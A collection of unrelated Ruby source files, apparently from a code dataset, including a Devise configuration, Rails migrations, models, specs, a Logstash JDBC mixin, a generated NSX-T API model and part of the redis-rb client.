# The same considerations mentioned for authentication_keys also apply to request_keys.
# config.request_keys = []
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
config.case_insensitive_keys = [:email]
# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
# modifying a user and when used to authenticate or find a user. Default is :email.
config.strip_whitespace_keys = [:email]
# Tell if authentication through request.params is enabled. True by default.
# It can be set to an array that will enable params authentication only for the
# given strategies, for example, `config.params_authenticatable = [:database]` will
# enable it only for database (email + password) authentication.
# config.params_authenticatable = true
# Tell if authentication through HTTP Auth is enabled. False by default.
# It can be set to an array that will enable http authentication only for the
# given strategies, for example, `config.http_authenticatable = [:database]` will
# enable it only for database authentication. The supported strategies are:
# :database = Support basic authentication with authentication key + password
# config.http_authenticatable = false
# If 401 status code should be returned for AJAX requests. True by default.
# config.http_authenticatable_on_xhr = true
# The realm used in Http Basic Authentication. 'Application' by default.
# config.http_authentication_realm = 'Application'
# It will change confirmation, password recovery and other workflows
# to behave the same regardless if the e-mail provided was right or wrong.
# Does not affect registerable.
# config.paranoid = true
# By default Devise will store the user in session. You can skip storage for
# particular strategies by setting this option.
# Notice that if you are skipping storage for all authentication paths, you
# may want to disable generating routes to Devise's sessions controller by
# passing skip: :sessions to `devise_for` in your config/routes.rb
config.skip_session_storage = [:http_auth]
# By default, Devise cleans up the CSRF token on authentication to
# avoid CSRF token fixation attacks. This means that, when using AJAX
# requests for sign in and sign up, you need to get a new CSRF token
# from the server. You can disable this option at your own risk.
# config.clean_up_csrf_token_on_authentication = true
# ==> Configuration for :database_authenticatable
# For bcrypt, this is the cost for hashing the password and defaults to 10. If
# using other encryptors, it sets how many times you want the password re-encrypted.
#
# Limiting the stretches to just one in testing will increase the performance of
# your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use
# a value less than 10 in other environments. Note that, for bcrypt (the default
# encryptor), the cost increases exponentially with the number of stretches (e.g.
# a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation).
config.stretches = Rails.env.test? ? 1 : 10
# Setup a pepper to generate the encrypted password.
# config.pepper = '70d3793c3ba5388ae26833cbe94e2356de5333293f3c8d1aa684cb8816d4bfdc8702b90ad91fdf2391b05231ce0a465f4d290a442154581f843850bf2c542c63'
# Send a notification email when the user's password is changed
# config.send_password_change_notification = false
# ==> Configuration for :confirmable
# A period that the user is allowed to access the website even without
# confirming their account. For instance, if set to 2.days, the user will be
# able to access the website for two days without confirming their account,
# access will be blocked just in the third day. Default is 0.days, meaning
# the user cannot access the website without confirming their account.
# config.allow_unconfirmed_access_for = 2.days
# A period that the user is allowed to confirm their account before their
# token becomes invalid. For example, if set to 3.days, the user can confirm
# their account within 3 days after the mail was sent, but on the fourth day
# their account can't be confirmed with the token any more.
# Default is nil, meaning there is no restriction on how long a user can take
# before confirming their account.
# config.confirm_within = 3.days
# If true, requires any email changes to be confirmed (exactly the same way as
# initial account confirmation) to be applied. Requires additional unconfirmed_email
# db field (see migrations). Until confirmed, new email is stored in
# unconfirmed_email column, and copied to email column on successful confirmation.
config.reconfirmable = true
# Defines which key will be used when confirming an account
# config.confirmation_keys = [:email]
# ==> Configuration for :rememberable
# The time the user will be remembered without asking for credentials again.
# config.remember_for = 2.weeks
# Invalidates all the remember me tokens when the user signs out.
config.expire_all_remember_me_on_sign_out = true
# If true, extends the user's remember period when remembered via cookie.
# config.extend_remember_period = false
# Options to be passed to the created cookie. For instance, you can set
# secure: true in order to force SSL only cookies.
# config.rememberable_options = {}
# ==> Configuration for :validatable
# Range for password length.
config.password_length = 8..72
# Email regex used to validate email formats. It simply asserts that
# one (and only one) @ exists in the given string. This is mainly
# to give user feedback and not to assert the e-mail validity.
# config.email_regexp = /\A[^@]+@[^@]+\z/
# ==> Configuration for :timeoutable
# The time you want to timeout the user session without activity. After this
# time the user will be asked for credentials again. Default is 30 minutes.
# config.timeout_in = 30.minutes
# ==> Configuration for :lockable
# Defines which strategy will be used to lock an account.
# :failed_attempts = Locks an account after a number of failed attempts to sign in.
# :none = No lock strategy. You should handle locking by yourself.
# config.lock_strategy = :failed_attempts
# Defines which key will be used when locking and unlocking an account
# config.unlock_keys = [:email]
# Defines which strategy will be used to unlock an account.
# :email = Sends an unlock link to the user email
# :time = Re-enables login after a certain amount of time (see :unlock_in below)
# :both = Enables both strategies
# :none = No unlock strategy. You should handle unlocking by yourself.
# config.unlock_strategy = :both
# Number of authentication tries before locking an account if lock_strategy
# is failed attempts.
# config.maximum_attempts = 20
# Time interval to unlock the account if :time is enabled as unlock_strategy.
# config.unlock_in = 1.hour
# Warn on the last attempt before the account is locked.
# config.last_attempt_warning = true
# ==> Configuration for :recoverable
#
# Defines which key will be used when recovering the password for an account
# config.reset_password_keys = [:email]
# Time interval you can reset your password with a reset password key.
# Don't put a too small interval or your users won't have the time to
# change their passwords.
config.reset_password_within = 6.hours
# When set to false, does not sign a user in automatically after their password is
# reset. Defaults to true, so a user is signed in automatically after a reset.
# config.sign_in_after_reset_password = true
# ==> Configuration for :encryptable
# Allow you to use another encryption algorithm besides bcrypt (default). You can use
# :sha1, :sha512 or encryptors from others authentication tools as :clearance_sha1,
# :authlogic_sha512 (then you should set stretches above to 20 for default behavior)
# and :restful_authentication_sha1 (then you should set stretches to 10, and copy
# REST_AUTH_SITE_KEY to pepper).
#
# Require the `devise-encryptable` gem when using anything other than bcrypt
# config.encryptor = :sha512
# ==> Scopes configuration
# Turn scoped views on. Before rendering "sessions/new", it will first check for
# "users/sessions/new". It's turned off by default because it's slower if you
# are using only default views.
# config.scoped_views = false
# Configure the default scope given to Warden. By default it's the first
# devise role declared in your routes (usually :user).
# config.default_scope = :user
# Set this configuration to false if you want /users/sign_out to sign out
# only the current scope. By default, Devise signs out all scopes.
# config.sign_out_all_scopes = true
# ==> Navigation configuration
# Lists the formats that should be treated as navigational. Formats like
# :html, should redirect to the sign in page when the user does not have
# access, but formats like :xml or :json, should return 401.
#
# If you have any extra navigational formats, like :iphone or :mobile, you
# should add them to the navigational formats lists.
#
# The "*/*" below is required to match Internet Explorer requests.
# config.navigational_formats = ['*/*', :html]
# The default HTTP method used to sign out a resource. Default is :delete.
config.sign_out_via = :delete
# ==> OmniAuth
# Add a new OmniAuth provider. Check the wiki for more information on setting
# up on your models and hooks.
# config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo'
# ==> Warden configuration
# If you want to use other strategies, that are not supported by Devise, or
# change the failure app, you can configure them inside the config.warden block.
#
# config.warden do |manager|
# manager.intercept_401 = false
# manager.default_strategies(scope: :user).unshift :some_external_strategy
# end
# ==> Mountable engine configurations
# When using Devise inside an engine, let's call it `MyEngine`, and this engine
# is mountable, there are some extra configurations to be taken into account.
# The following options are available, assuming the engine is mounted as:
#
# mount MyEngine, at: '/my_engine'
#
# The router that invoked `devise_for`, in the example above, would be:
# config.router_name = :my_engine
#
# When using OmniAuth, Devise cannot automatically set OmniAuth path,
# so you need to do it manually. For the users scope, it would be:
# config.omniauth_path_prefix = '/my_engine/users/auth'
end
| 49.357143 | 154 | 0.75139 |
6107211d073d07eda2c55d1e3508647c94b63c04
| 285 |
class CreateOrderItems < ActiveRecord::Migration
def change
create_table :order_items do |t|
t.integer :item_id
t.integer :order_id
t.integer :quantity
t.decimal :total_line_price, precision: 15, scale: 2
t.timestamps null: false
end
end
end
| 21.923077 | 58 | 0.680702 |
03269c2f12f93dcaa3c231969dd142c924b6a075
| 1,742 |
# frozen_string_literal: true
class MockSidekiqCLI
attr_reader :application
attr_writer :silent
def initialize(silent = false)
@processes = {}
@application = nil
@pipe_reader, @pipe_writer = IO.pipe
@process_output = StringIO.new
@silent = silent
end
def output_for(pid)
read_process_output!
marker = "pid(#{pid}):"
@process_output.string.split("\n").select { |line| line.start_with?("pid(#{pid}):") }.collect { |line| line.sub(marker, "").strip }
end
def run
unless Sidekiq::CLI.instance.public_methods.include?(:run)
raise "Sidekiq::CLI #{Sidekiq::VERSION} does not defined a run method"
end
$PROGRAM_NAME = "mock sidekiq"
boot_mock_application
process = MockSidekiqProcess.new(@application)
@processes[process.pid] = process
process.run
rescue => e
warn e.inpsect, e.backtrace.join("\n")
end
def parse
unless Sidekiq::CLI.instance.public_methods.include?(:parse)
raise "Sidekiq::CLI #{Sidekiq::VERSION} does not defined a parse method"
end
end
def reset!
@processes.clear
@process_output = StringIO.new
end
def processes
@processes.values
end
private
class_eval <<~RUBY, __FILE__, __LINE__ + 1
def #{Sidekiq::VERSION.to_f < 6.0 ? "boot_system" : "boot_application"}
boot_mock_application
end
RUBY
def boot_mock_application
return if @application
@application = MockApplication.new(output: @pipe_writer, silent: @silent)
@application.start
rescue => e
warn e.inpsect, e.backtrace.join("\n")
end
def read_process_output!
begin
loop { @process_output << @pipe_reader.read_nonblock(4096) }
rescue IO::EAGAINWaitReadable
nil
end
end
end
| 23.863014 | 135 | 0.676808 |
212651024c57cddb2cd8b3371325b8cb43d203a5
| 459 |
# frozen_string_literal: true
shared_context 'invalid transfer' do |account_class = Account|
let(:alice) { account_class.create(name: 'Alice', balance: 100) }
let(:bob) { account_class.create(name: 'Bob', balance: 100) }
before do
described_class.call(bob, alice, 200)
end
it 'both balances stay unchanged' do
aggregate_failures do
expect(bob.reload.balance).to eq 100
expect(alice.reload.balance).to eq 100
end
end
end
| 25.5 | 67 | 0.703704 |
62add087abd1e9f5b8ffcd0212ff595a041393b4
| 1,641 |
require 'spec_helper'
describe EmailsController, type: :controller do
describe "#destroy" do
before(:each) do
@community = FactoryGirl.create(:community)
@request.host = "#{@community.ident}.lvh.me"
end
it "should destroy email" do
person = FactoryGirl.create(:person)
person.emails = [
FactoryGirl.create(:email, :address => "[email protected]", :send_notifications => true),
FactoryGirl.create(:email, :address => "[email protected]", :send_notifications => true)
]
person.save!
@community.members << person
sign_in_for_spec(person)
expect(Email.where(person_id: person.id).count).to eq(2)
delete :destroy, {:person_id => person.id, :id => person.emails.first.id}
expect(Email.where(person_id: person.id).count).to eq(1)
expect(response.status).to eq(302)
end
it "should not destroy email if that's not allowed" do
# Don't test all edge cases here. They are covered in specs
person = FactoryGirl.create(:person)
person.emails = [
FactoryGirl.create(:email, :address => "[email protected]", :send_notifications => true),
FactoryGirl.create(:email, :address => "[email protected]", :send_notifications => false)
]
person.save!
@community.members << person
sign_in_for_spec(person)
expect(Email.where(person_id: person.id).count).to eq(2)
delete :destroy, {:person_id => person.id, :id => person.emails.first.id}
expect(Email.where(person_id: person.id).count).to eq(2)
expect(response.status).to eq(302)
end
end
end
| 32.82 | 101 | 0.655088 |
38ae3cdf7bd1339e407bbcca2bdf5ce5aa28501e
| 998 |
class ApplicationPolicy
attr_reader :user, :record
def initialize(user, record)
@user = user
@record = record
end
def index?
false
end
def show?
false
end
def create?
false
end
alias new? create?
def update?
false
end
alias edit? update?
def destroy?
false
end
def user_capabilities
capabilities = {}
(self.class.instance_methods(false) - [:user_capabilities, :index?]).each do |method|
capabilities[method.to_s.delete_suffix('?')] = self.send(method)
end
capabilities
end
private
def rbac_access
@rbac_access ||= Catalog::RBAC::Access.new(@user, @record)
end
class Scope
attr_reader :user_context, :scope
def initialize(user_context, scope)
@user_context = user_context
@scope = scope
end
def resolve
scope.all
end
private
def access_scopes
@access_scopes ||= @user_context.access.scopes(scope.table_name, 'read')
end
end
end
| 14.895522 | 89 | 0.644289 |
7ae2b61e6e51c77f3fd38d4e2d346da86bbd6ac7
| 405 |
module ApiAuthentication
module Generators
class InstallGenerator < Rails::Generators::Base
source_root File.expand_path('../../templates', __FILE__)
desc "Creates a ApiAuthentication initializer in your application's config/initializers dir"
def copy_initializer
template 'api_authentication.rb', 'config/initializers/api_authentication.rb'
end
end
end
end
| 27 | 98 | 0.735802 |
1c5529356475626571f856fae9ba5022a4a3bb8d
| 254 |
module RailsCom
module KaminariHelper
def paginate(scope, paginator_class: Kaminari::Helpers::Paginator, template: nil, **options)
super scope, paginator_class: paginator_class, template: template, theme: 'com', **options
end
end
end
| 25.4 | 96 | 0.73622 |
bb8ef9f2b255dd8476f8e2d9d75c4aebcb481862
| 7,681 |
=begin
#NSX-T Manager API
#VMware NSX-T Manager REST API
OpenAPI spec version: 2.3.0.0.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
Swagger Codegen version: 2.3.1
=end
require 'date'
module NSXT
# PrincipalIdentity query result
class PrincipalIdentityList
# Link to this resource
attr_accessor :_self
# The server will populate this field when returing the resource. Ignored on PUT and POST.
attr_accessor :_links
# Schema for this resource
attr_accessor :_schema
# Opaque cursor to be used for getting next page of records (supplied by current result page)
attr_accessor :cursor
# If true, results are sorted in ascending order
attr_accessor :sort_ascending
# Field by which records are sorted
attr_accessor :sort_by
# Count of results found (across all pages), set only on first page
attr_accessor :result_count
# PrincipalIdentity list
attr_accessor :results
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'_self' => :'_self',
:'_links' => :'_links',
:'_schema' => :'_schema',
:'cursor' => :'cursor',
:'sort_ascending' => :'sort_ascending',
:'sort_by' => :'sort_by',
:'result_count' => :'result_count',
:'results' => :'results'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'_self' => :'SelfResourceLink',
:'_links' => :'Array<ResourceLink>',
:'_schema' => :'String',
:'cursor' => :'String',
:'sort_ascending' => :'BOOLEAN',
:'sort_by' => :'String',
:'result_count' => :'Integer',
:'results' => :'Array<PrincipalIdentity>'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}){|(k,v), h| h[k.to_sym] = v}
if attributes.has_key?(:'_self')
self._self = attributes[:'_self']
end
if attributes.has_key?(:'_links')
if (value = attributes[:'_links']).is_a?(Array)
self._links = value
end
end
if attributes.has_key?(:'_schema')
self._schema = attributes[:'_schema']
end
if attributes.has_key?(:'cursor')
self.cursor = attributes[:'cursor']
end
if attributes.has_key?(:'sort_ascending')
self.sort_ascending = attributes[:'sort_ascending']
end
if attributes.has_key?(:'sort_by')
self.sort_by = attributes[:'sort_by']
end
if attributes.has_key?(:'result_count')
self.result_count = attributes[:'result_count']
end
if attributes.has_key?(:'results')
if (value = attributes[:'results']).is_a?(Array)
self.results = value
end
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
if @results.nil?
invalid_properties.push("invalid value for 'results', results cannot be nil.")
end
return invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
return false if @results.nil?
return true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
_self == o._self &&
_links == o._links &&
_schema == o._schema &&
cursor == o.cursor &&
sort_ascending == o.sort_ascending &&
sort_by == o.sort_by &&
result_count == o.result_count &&
results == o.results
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[_self, _links, _schema, cursor, sort_ascending, sort_by, result_count, results].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map{ |v| _deserialize($1, v) } )
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = NSXT.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map{ |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 28.553903 | 107 | 0.608645 |
01923d0db144866b8842740742812983eda5d0d2
| 303 |
class CreateReviews < ActiveRecord::Migration[6.0]
def change
create_table :reviews do |t|
t.string :heading
t.string :description
t.belongs_to :user, null: false, foreign_key: true
t.belongs_to :recipe, null: false, foreign_key: true
t.timestamps
end
end
end
| 23.307692 | 58 | 0.673267 |
e8405f4095677de8102b6371a8f863f70ba45bd6
| 1,022 |
class Product < ActiveRecord::Base
has_and_belongs_to_many :tags
has_many :search_indices
belongs_to :category
has_many :orders
has_many :users, :through => :orders
include Loggable
include Indexable
validates :discount, :numericality => {:less_than_or_equal_to => 20, unless: :is_product_not_expensive?}
def is_product_not_expensive?
price <= 100
end
def tag_list
self.tags.map {|t| t.name }.join(", ")
end
def tag_list=(tag_list)
self.tags.clear # For the update method, just in case we're changing tags
# Split the tags into an array, strip whitespace , and convert to lowercase
tags = tag_list.split(",").collect{|s| s.strip.downcase}
# For each tag, find or create by name, and associate with the post
tags.each do |tag_name|
tag = Tag.find_or_create_by(name: tag_name)
# tag.name = tag_name
self.tags << tag # Append the tag to the post
end
end
end
| 30.058824 | 108 | 0.6409 |
1d37515e78c4b1b73be30e31b2abea030c974549
| 382 |
require "dry-struct"
require "kanji/types"
module Kanji
class Type
class Connection < Dry::Struct
constructor_type :schema
attribute :name, Kanji::Types::String
attribute :type, Kanji::Types::Class
attribute :description, Kanji::Types::String
attribute :options, Kanji::Types::Hash
attribute :resolve, Kanji::Types::Any
end
end
end
| 22.470588 | 50 | 0.680628 |
abf666a25be067a8ba603da40aa2cd5cea7af4e6
| 110 |
# NOTE: here for Bundler to auto-load the gem unless :require => false
require 'arjdbc'
require 'arjdbc/mysql'
| 36.666667 | 70 | 0.754545 |
01fcc7e40650a98a8e983a36ea15463261f703d4
| 11,245 |
# encoding: utf-8
# TAKEN FROM WIIBAA
require "logstash/config/mixin"
require "time"
require "date"
java_import java.util.concurrent.locks.ReentrantLock
# Tentative of abstracting JDBC logic to a mixin
# for potential reuse in other plugins (input/output)
module LogStash::PluginMixins::Jdbc
# This method is called when someone includes this module
def self.included(base)
# Add these methods to the 'base' given.
base.extend(self)
base.setup_jdbc_config
end
public
def setup_jdbc_config
# JDBC driver library path to third party driver library. In case of multiple libraries being
# required you can pass them separated by a comma.
#
# If not provided, Plugin will look for the driver class in the Logstash Java classpath.
config :jdbc_driver_library, :validate => :string
# JDBC driver class to load, for exmaple, "org.apache.derby.jdbc.ClientDriver"
# NB per https://github.com/logstash-plugins/logstash-input-jdbc/issues/43 if you are using
# the Oracle JDBC driver (ojdbc6.jar) the correct `jdbc_driver_class` is `"Java::oracle.jdbc.driver.OracleDriver"`
config :jdbc_driver_class, :validate => :string, :required => true
# JDBC connection string
config :jdbc_connection_string, :validate => :string, :required => true
# JDBC user
config :jdbc_user, :validate => :string, :required => true
# JDBC password
config :jdbc_password, :validate => :password
# JDBC password filename
config :jdbc_password_filepath, :validate => :path
# JDBC enable paging
#
# This will cause a sql statement to be broken up into multiple queries.
# Each query will use limits and offsets to collectively retrieve the full
# result-set. The limit size is set with `jdbc_page_size`.
#
# Be aware that ordering is not guaranteed between queries.
config :jdbc_paging_enabled, :validate => :boolean, :default => false
# JDBC page size
config :jdbc_page_size, :validate => :number, :default => 100000
# JDBC fetch size. if not provided, respective driver's default will be used
config :jdbc_fetch_size, :validate => :number
# Connection pool configuration.
# Validate connection before use.
config :jdbc_validate_connection, :validate => :boolean, :default => false
# Connection pool configuration.
# How often to validate a connection (in seconds)
config :jdbc_validation_timeout, :validate => :number, :default => 3600
# Connection pool configuration.
# The amount of seconds to wait to acquire a connection before raising a PoolTimeoutError (default 5)
config :jdbc_pool_timeout, :validate => :number, :default => 5
# Timezone conversion.
# SQL does not allow for timezone data in timestamp fields. This plugin will automatically
# convert your SQL timestamp fields to Logstash timestamps, in relative UTC time in ISO8601 format.
#
# Using this setting will manually assign a specified timezone offset, instead
# of using the timezone setting of the local machine. You must use a canonical
# timezone, *America/Denver*, for example.
config :jdbc_default_timezone, :validate => :string
# General/Vendor-specific Sequel configuration options.
#
# An example of an optional connection pool configuration
# max_connections - The maximum number of connections the connection pool
#
# examples of vendor-specific options can be found in this
# documentation page: https://github.com/jeremyevans/sequel/blob/master/doc/opening_databases.rdoc
config :sequel_opts, :validate => :hash, :default => {}
# Log level at which to log SQL queries, the accepted values are the common ones fatal, error, warn,
# info and debug. The default value is info.
config :sql_log_level, :validate => [ "fatal", "error", "warn", "info", "debug" ], :default => "info"
# Maximum number of times to try connecting to database
config :connection_retry_attempts, :validate => :number, :default => 1
# Number of seconds to sleep between connection attempts
config :connection_retry_attempts_wait_time, :validate => :number, :default => 0.5
end
private
def jdbc_connect
opts = {
:user => @jdbc_user,
:password => @jdbc_password.nil? ? nil : @jdbc_password.value,
:pool_timeout => @jdbc_pool_timeout
}.merge(@sequel_opts)
retry_attempts = @connection_retry_attempts
loop do
retry_attempts -= 1
begin
return Sequel.connect(@jdbc_connection_string, opts=opts)
rescue Sequel::PoolTimeout => e
if retry_attempts <= 0
@logger.error("Failed to connect to database. #{@jdbc_pool_timeout} second timeout exceeded. Tried #{@connection_retry_attempts} times.")
raise e
else
@logger.error("Failed to connect to database. #{@jdbc_pool_timeout} second timeout exceeded. Trying again.")
end
rescue Sequel::Error => e
if retry_attempts <= 0
@logger.error("Unable to connect to database. Tried #{@connection_retry_attempts} times", :error_message => e.message, )
raise e
else
@logger.error("Unable to connect to database. Trying again", :error_message => e.message)
end
end
sleep(@connection_retry_attempts_wait_time)
end
end
private
def load_drivers(drivers)
drivers.each do |driver|
begin
require driver
rescue => e
@logger.error("Failed to load #{driver}", :exception => e)
end
end
end
private
def open_jdbc_connection
require "java"
require "sequel"
require "sequel/adapters/jdbc"
load_drivers(@jdbc_driver_library.split(",")) if @jdbc_driver_library
begin
Sequel::JDBC.load_driver(@jdbc_driver_class)
rescue Sequel::AdapterNotFound => e
message = if @jdbc_driver_library.nil?
":jdbc_driver_library is not set, are you sure you included
the proper driver client libraries in your classpath?"
else
"Are you sure you've included the correct jdbc driver in :jdbc_driver_library?"
end
raise LogStash::ConfigurationError, "#{e}. #{message}"
end
@database = jdbc_connect()
@database.extension(:pagination)
if @jdbc_default_timezone
@database.extension(:named_timezones)
@database.timezone = @jdbc_default_timezone
end
if @jdbc_validate_connection
@database.extension(:connection_validator)
@database.pool.connection_validation_timeout = @jdbc_validation_timeout
end
@database.fetch_size = @jdbc_fetch_size unless @jdbc_fetch_size.nil?
begin
@database.test_connection
rescue Sequel::DatabaseConnectionError => e
@logger.warn("Failed test_connection.", :exception => e)
close_jdbc_connection
#TODO return false and let the plugin raise a LogStash::ConfigurationError
raise e
end
@database.sql_log_level = @sql_log_level.to_sym
@database.logger = @logger
@database.extension :identifier_mangling
if @lowercase_column_names
@database.identifier_output_method = :downcase
else
@database.identifier_output_method = :to_s
end
end
public
def prepare_jdbc_connection
@connection_lock = ReentrantLock.new
if @use_column_value
case @tracking_column_type
when "numeric"
@sql_last_value = 0
when "timestamp"
@sql_last_value = Time.at(0).utc
end
else
@sql_last_value = Time.at(0).utc
end
end # def prepare_jdbc_connection
public
def close_jdbc_connection
begin
# pipeline restarts can also close the jdbc connection, block until the current executing statement is finished to avoid leaking connections
# connections in use won't really get closed
@connection_lock.lock
@database.disconnect if @database
rescue => e
@logger.warn("Failed to close connection", :exception => e)
ensure
@connection_lock.unlock
end
end
public
def execute_statement(statement, parameters)
success = false
@connection_lock.lock
open_jdbc_connection
begin
parameters = symbolized_params(parameters)
query = @database[statement, parameters]
sql_last_value = @use_column_value ? @sql_last_value : Time.now.utc
@tracking_column_warning_sent = false
@logger.debug? and @logger.debug("Executing JDBC query", :statement => statement, :parameters => parameters, :count => query.count)
if @jdbc_paging_enabled
query.each_page(@jdbc_page_size) do |paged_dataset|
paged_dataset.each do |row|
sql_last_value = get_column_value(row) if @use_column_value
if @tracking_column_type=="timestamp" and @use_column_value and sql_last_value.is_a?(DateTime)
sql_last_value=Time.parse(sql_last_value.to_s) # Coerce the timestamp to a `Time`
end
yield extract_values_from(row)
end
end
else
query.each do |row|
sql_last_value = get_column_value(row) if @use_column_value
if @tracking_column_type=="timestamp" and @use_column_value and sql_last_value.is_a?(DateTime)
sql_last_value=Time.parse(sql_last_value.to_s) # Coerce the timestamp to a `Time`
end
yield extract_values_from(row)
end
end
success = true
rescue Sequel::DatabaseConnectionError, Sequel::DatabaseError => e
@logger.warn("Exception when executing JDBC query", :exception => e)
else
@sql_last_value = sql_last_value
ensure
close_jdbc_connection
@connection_lock.unlock
end
return success
end
public
def get_column_value(row)
if !row.has_key?(@tracking_column.to_sym)
if !@tracking_column_warning_sent
@logger.warn("tracking_column not found in dataset.", :tracking_column => @tracking_column)
@tracking_column_warning_sent = true
end
# If we can't find the tracking column, return the current value in the ivar
@sql_last_value
else
# Otherwise send the updated tracking column
row[@tracking_column.to_sym]
end
end
# Symbolize parameters keys to use with Sequel
private
def symbolized_params(parameters)
parameters.inject({}) do |hash,(k,v)|
case v
when LogStash::Timestamp
hash[k.to_sym] = v.time
else
hash[k.to_sym] = v
end
hash
end
end
private
#Stringify row keys and decorate values when necessary
def extract_values_from(row)
Hash[row.map { |k, v| [k.to_s, decorate_value(v)] }]
end
private
def decorate_value(value)
if value.is_a?(Time)
# transform it to LogStash::Timestamp as required by LS
LogStash::Timestamp.new(value)
elsif value.is_a?(Date)
LogStash::Timestamp.new(value.to_time)
elsif value.is_a?(DateTime)
# Manual timezone conversion detected.
# This is slower, so we put it in as a conditional case.
LogStash::Timestamp.new(Time.parse(value.to_s))
else
value
end
end
end
| 35.473186 | 147 | 0.682881 |
e22bc84c323b8fe34ab72df85108d07b835991b9
| 68,884 |
require "monitor"
require "redis/errors"
class Redis
def self.deprecate(message, trace = caller[0])
$stderr.puts "\n#{message} (in #{trace})"
end
attr :client
# @deprecated The preferred way to create a new client object is using `#new`.
# This method does not actually establish a connection to Redis,
# in contrary to what you might expect.
def self.connect(options = {})
new(options)
end
def self.current
@current ||= Redis.new
end
def self.current=(redis)
@current = redis
end
include MonitorMixin
def initialize(options = {})
@options = options.dup
@original_client = @client = Client.new(options)
super() # Monitor#initialize
end
def synchronize
mon_synchronize { yield(@client) }
end
# Run code with the client reconnecting
def with_reconnect(val=true, &blk)
synchronize do |client|
client.with_reconnect(val, &blk)
end
end
# Run code without the client reconnecting
def without_reconnect(&blk)
with_reconnect(false, &blk)
end
# Test whether or not the client is connected
def connected?
@original_client.connected?
end
# Authenticate to the server.
#
# @param [String] password must match the password specified in the
# `requirepass` directive in the configuration file
# @return [String] `OK`
def auth(password)
synchronize do |client|
client.call([:auth, password])
end
end
# Change the selected database for the current connection.
#
# @param [Fixnum] db zero-based index of the DB to use (0 to 15)
# @return [String] `OK`
def select(db)
synchronize do |client|
client.db = db
client.call([:select, db])
end
end
# Ping the server.
#
# @return [String] `PONG`
def ping
synchronize do |client|
client.call([:ping])
end
end
# Echo the given string.
#
# @param [String] value
# @return [String]
def echo(value)
synchronize do |client|
client.call([:echo, value])
end
end
# Close the connection.
#
# @return [String] `OK`
def quit
synchronize do |client|
begin
client.call([:quit])
rescue ConnectionError
ensure
client.disconnect
end
end
end
# Asynchronously rewrite the append-only file.
#
# @return [String] `OK`
def bgrewriteaof
synchronize do |client|
client.call([:bgrewriteaof])
end
end
# Asynchronously save the dataset to disk.
#
# @return [String] `OK`
def bgsave
synchronize do |client|
client.call([:bgsave])
end
end
# Get or set server configuration parameters.
#
# @param [Symbol] action e.g. `:get`, `:set`, `:resetstat`
# @return [String, Hash] string reply, or hash when retrieving more than one
# property with `CONFIG GET`
def config(action, *args)
synchronize do |client|
client.call([:config, action] + args) do |reply|
if reply.kind_of?(Array) && action == :get
Hash[_pairify(reply)]
else
reply
end
end
end
end
# Return the number of keys in the selected database.
#
# @return [Fixnum]
def dbsize
synchronize do |client|
client.call([:dbsize])
end
end
def debug(*args)
synchronize do |client|
client.call([:debug] + args)
end
end
# Remove all keys from all databases.
#
# @return [String] `OK`
def flushall
synchronize do |client|
client.call([:flushall])
end
end
# Remove all keys from the current database.
#
# @return [String] `OK`
def flushdb
synchronize do |client|
client.call([:flushdb])
end
end
# Get information and statistics about the server.
#
# @param [String, Symbol] cmd e.g. "commandstats"
